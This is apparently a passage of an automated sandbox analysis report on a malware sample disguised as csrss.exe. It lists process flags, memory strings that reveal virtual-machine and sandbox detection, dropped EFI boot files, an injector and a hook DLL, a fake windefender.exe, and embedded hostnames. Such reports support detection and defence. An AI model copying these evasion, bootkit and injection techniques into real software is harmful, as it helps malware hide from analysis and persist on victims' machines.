Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: TOO MANY LINKSTOO MANY USERSUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN MARKERUNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WORK.FULL != 0X509IGNORECN=1XENSERVICE.EXEZERO PARAMETER WITH GC PROG
Source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: ... OMITTING ACCEPT-CHARSETAFTER EFIGUARDALLOCFREETRACEBAD RST MARKERBAD ALLOCCOUNTBAD RECORD MACBAD SPAN STATEBAD STACK SIZEBTC.USEBSV.COMCERT INSTALLEDCHECKSUM ERRORCONTENT-LENGTHCOULDN'T PATCHDATA TRUNCATEDDISTRIBUTOR_IDDRIVER REMOVEDEXIT STATUS -1FILE TOO LARGEFINALIZER WAITGCSTOPTHEWORLDGETPROTOBYNAMEGOT SYSTEM PIDINITIAL SERVERINTERNAL ERRORINVALID SYNTAXIS A DIRECTORYKEY SIZE WRONGLEVEL 2 HALTEDLEVEL 3 HALTEDLOOKUP TXT: %WMEMPROFILERATENEED MORE DATANIL ELEM TYPE!NO MODULE DATANO SUCH DEVICEPARSE CERT: %WPROTOCOL ERRORREAD CERTS: %WREPORT_ID IS 0RUNTIME: BASE=RUNTIME: FULL=S.ALLOCCOUNT= SEMAROOT QUEUESERVER.VERSIONSTACK OVERFLOWSTOPM SPINNINGSTORE64 FAILEDSYNC.COND.WAITTEXT FILE BUSYTIMEENDPERIODTOO MANY LINKSTOO MANY USERSUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN MARKERUNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WORK.FULL != 0X509IGNORECN=1XENSERVICE.EXEZERO PARAMETER WITH GC PROG
Source: csrss.exe, 00000002.00000002.362710734.00000000154D4000.00000004.00000001.sdmp	Binary or memory string: VMUSRVC.EXE
Source: csrss.exe, 00000002.00000002.362710734.00000000154D4000.00000004.00000001.sdmp	Binary or memory string: VMSRVC.EXEVMUSRVC.EXESMSS.EXEVMSRVC.EXEVMUSRVC.EXECSRSS.EXEVMSRVC.EXEVMUSRVC.EXEWININIT.EXEVMSRVC.EXEVMUSRVC.EXECSRSS.EXEVMSRVC.EXEVMUSRVC.EXEWINLOGON.EXEVMSRVC.EXEVMUSRVC.EXESERVICES.EXEVMSRVC.EXEVMUSRVC.EXELSASS.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEDWM.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESPOOLSV.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESIHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXECTFMON.EXEVMSRVC.EXEVMUSRVC.EXEEXPLORER.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEDLLHOST.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESEARCHUI.EXESEARCHUI.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEHXTSR.EXEHXTSR.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEDLLHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEWMIPRVSE.EXEWMIPRVSE.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEWMIPRVSE.EXEWMIPRVSE.EXEVMSRVC.EXEVMUSRVC.EXEWMIPRVSE.EXEWMIPRVSE.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXECONHOST.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEUSOCLIENT.EXEUSOCLIENT.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRV
Source: csrss.exe	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETESTING KEYTTL EXPIREDVBOXSERVICEVMUSRVC.EXEVT_RESERVEDVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEALARM CLOCKAPPLICATIONBAD ADDRESSBAD MESSAGE
Source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETESTING KEYTTL EXPIREDVBOXSERVICEVMUSRVC.EXEVT_RESERVEDVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEALARM CLOCKAPPLICATIONBAD ADDRESSBAD MESSAGEBAD TIMEDIVBITCOINS.SKBROKEN PIPECAMPAIGN_IDCGOCALL NILCLOBBERFREECLOSESOCKETCOMBASE.DLLCOMPAIGN_IDCREATED BY CRYPT32.DLLDNSMESSAGE.E2.KEFF.ORGEMBEDDED/%SFILE EXISTSFINAL TOKENFLOAT32NAN2FLOAT64NAN2FLOAT64NAN3GCCHECKMARKGENERALIZEDGET CDN: %WGETPEERNAMEGETSOCKNAMEHTTPS_PROXYI/O TIMEOUTLOCAL ERRORLOST MCACHEMSPANMANUALMETHODARGS(MSWSOCK.DLLNEXT SERVERNIL CONTEXTORANNIS.COMPARSE ERRORPROCESS: %SRAW-CONTROLREFLECT.SETRETRY-AFTERRUNTIME: P RUNTIME: P SCHEDDETAILSECHOST.DLLSECUR32.DLLSERVICE: %SSHELL32.DLLSHORT WRITETASKMGR.EXETLS: ALERT(TRACEALLOC(TRAFFIC UPDUNREACHABLEUSERENV.DLLVERSION=183WININET.DLLWUP_PROCESS (SENSITIVE) [RECOVERED] ALLOCCOUNT FOUND AT *( GCSCANDONE M->GSIGNAL= MINTRIGGER= NDATAROOTS= NSPANROOTS= PAGES/BYTE
Source: csrss.exe, 00000002.00000002.362710734.00000000154D4000.00000004.00000001.sdmp	Binary or memory string: VMXNETVMX86SHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXECONHOST.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXEUSOCLIENT.EXEUSOCLIENT.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXEDLLHOST.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESGRMBROKER.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESHAREDINTAPP.EXECSRSS.EXESHAREDINTAPP.EXESVCHOST.EXESHAREDINTAPP.EXESHAREDINTAPP.EXE[SYSTEM PROCESS]VMSRVC.EXEVMUSRVC.EXESYSTEMSYSTEMVMSRVC.EXEVMUSRVC.EXEREGISTRYREGISTRY
Source: csrss.exe	Binary or memory string: TOO MANY LINKSTOO MANY USERSUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN MARKERUNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WORK.FULL != 0X509IGNORECN=1XENSERVICE.EXEZERO PAR

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: B:\EFI\Boot\old.efi (copy)	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\EFI\Boot\EfiGuardDxe.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\EFI\Boot\bootx64.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\Windows\windefender.exe	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\EFI\Microsoft\Boot\bootmgfw.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: B:\EFI\Microsoft\Boot\fw.efi (copy)	Jump to dropped file

Source: C:\Windows\rss\csrss.exe

Registry key enumerated: More than 173 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\csrss.exe	File opened / queried: VBoxGuest	Jump to behavior
Source: C:\Users\user\Desktop\csrss.exe	File opened / queried: vmci	Jump to behavior
Source: C:\Users\user\Desktop\csrss.exe	File opened / queried: HGFS	Jump to behavior
Source: C:\Users\user\Desktop\csrss.exe	File opened / queried: VBoxTrayIPC	Jump to behavior
Source: C:\Users\user\Desktop\csrss.exe	File opened / queried: \pipe\VBoxTrayIPC	Jump to behavior
Source: C:\Users\user\Desktop\csrss.exe	File opened / queried: VBoxMiniRdrDN	Jump to behavior

Source: C:\Users\user\Desktop\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\Users\user\Desktop\csrss.exe

Process information queried: ProcessInformation

Jump to behavior

Source: csrss.exe	Binary or memory string: derivedexpiresfallingfeatherfireflyfloat32float64gctraceglitterhttp://id is 0invalidkdu.exelookup max-agemorningnil keynop -> number panic: patientrefererrefreshrunningserial:server=signal silencesvc_versyscallthundertraileruintptrunknownupgradeversionvmmousev
Source: csrss.exe, 00000002.00000002.361475495.0000000015410000.00000004.00000001.sdmp	Binary or memory string: COMPUTERNAME=computerHOMEPATH=\Windows\system32NUMBER_OF_PROCESSORS=2OS=Windows_NTPROCESSOR_ARCHITECTURE=x86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_LEVEL=6PROCESSOR_REVISION=5507ProgramData=C:\ProgramDataPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Windows\TEMPTMP=C:\Windows\TEMPUSERDOMAIN=WORKGROUPUSERNAME=computer$windir=C:\Windows[System Process]SystemRegistrysmss.exevmmemctl\\.\HGFS\\.\vmci[System Process]SystemRegistrysmss.exefontdrvhost.exefontdrvhost.exedwm.exeMemory Compressionmemory compressionShellExperienceHost.exeshellexperiencehost.exeRuntimeBroker.exeruntimebroker.exesmartscreen.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exeRuntimeBroker.exeruntimebroker.exeSystemSettingsBroker.exesystemsettingsbroker.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exepxclortfidgefyjktnjgoofwqjcr.exemsvmmouf
Source: csrss.exe	Binary or memory string: ayGOAWAYGOROOTGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLepchaLockedLycianLydianMondayPADDEDPcaSvcPragmaProgidRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFVT(%d)WINDIRWinMonWinmon
Source: csrss.exe, 00000002.00000002.362710734.00000000154D4000.00000004.00000001.sdmp	Binary or memory string: vmusrvc.exe
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: too many linkstoo many usersunexpected EOFunknown code: unknown error unknown markerunknown methodunknown mode: unreachable: unsafe.Pointervirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #work.full != 0x509ignoreCN=1xenservice.exezero parameter with GC prog
Source: csrss.exe	Binary or memory string: too many linkstoo many usersunexpected EOFunknown code: unknown error unknown markerunknown methodunknown mode: unreachable: unsafe.Pointervirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #work.full != 0x509ignoreCN=1xenservice.exezero par
Source: csrss.exe, 00000002.00000002.361974234.0000000015452000.00000004.00000001.sdmp	Binary or memory string: qemuvirtual
Source: csrss.exe	Binary or memory string: ionPalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:][:alpha:][:asc
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	Binary or memory string: is unavailable()<>@,;:\"/[]?=0601021504Z0700476837158203125: cannot parse :ValidateLabels; SameSite=None<invalid Value>ASCII_Hex_DigitAccept-EncodingAccept-LanguageAddDllDirectoryBelowExactAboveCLSIDFromProgIDCLSIDFromStringCreateHardLinkWCreateWindowExWDefaultInstanceDelegateExecuteDeviceIoControlDuplicateHandleEfiGuardDxe.efiElectrumX 1.2.1Failed to find Failed to load FindNextVolumeWFindVolumeCloseFlushViewOfFileGateway TimeoutGetActiveObjectGetAdaptersInfoGetCommTimeoutsGetCommandLineWGetFirmwareTypeGetProcessTimesGetSecurityInfoGetStartupInfoWGlobal\qtxp9g8wHanifi_RohingyaIdempotency-KeyImpersonateSelfInstall failureIsWow64Process2Length RequiredLoadLibraryExALoadLibraryExWNonTransitionalNot ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePartial ContentProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: csrss.exe	Binary or memory string: rinvalid locationloopbackmac_addrmountainmountvolmsvmmoufnamelessno anodeno-cacheno_proxyopPseudopolishedraw-readreadfromrecvfromrestlessrunnableruntime.scavengeshutdownsolitarystrconv.taskkilltwilightunixgramunknown(usernamevmmemctlvmx_svgawitheredwsaioctlwua
Source: csrss.exe	Binary or memory string: T_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieUser-AgentVMSrvc.exeVT_ILLEGALWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:
Source: csrss.exe, 00000002.00000002.362152067.000000001546D000.00000004.00000001.sdmp	Binary or memory string: $mC:\WindowsC:\Windows\system32\kernel32.dllC:\Users\user\Desktop\csrss.exeC:\Users\user\DesktopSELECT Caption FROM Win32_OperatingSystemMicrosoft Windows 10 ProHKEY_USERS\ardz\Desktop\csrss.exe" "C:\Users\user\Desktop\csrss.exe" S-1-5-21-3853321935-2125563209-4053062332-1002DawnWaterFirstInstallDateIntel(R) Core(TM)2 CPU 6600 @ 2.40 GHzintel(r) core(tm)2 cpu 6600 @ 2.40 ghzcsrss.exewinlogon.exeservices.exelsass.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exespoolsv.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesihost.exesvchost.exesvchost.exesvchost.exectfmon.exeexplorer.exesvchost.exedllhost.exeSearchUI.exesvchost.exeHxTsr.exedllhost.exesvchost.exeWmiPrvSE.exeWmiPrvSE.exeWmiPrvSE.exesvchost.exesvchost.exesvchost.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.exepXClORtFiDGefyJktNjGooFwQJcr.execonhost.exesvchost.exesvchost.exedllhost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.execsrss.exesvchost.exe\\.\VBoxMiniRdrDN\\.\pipe\VBoxMiniRdDN\\.\pipe\VBoxTrayIPCcsrss.exewininit.execsrss.exewinlogon.exeservices.exelsass.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost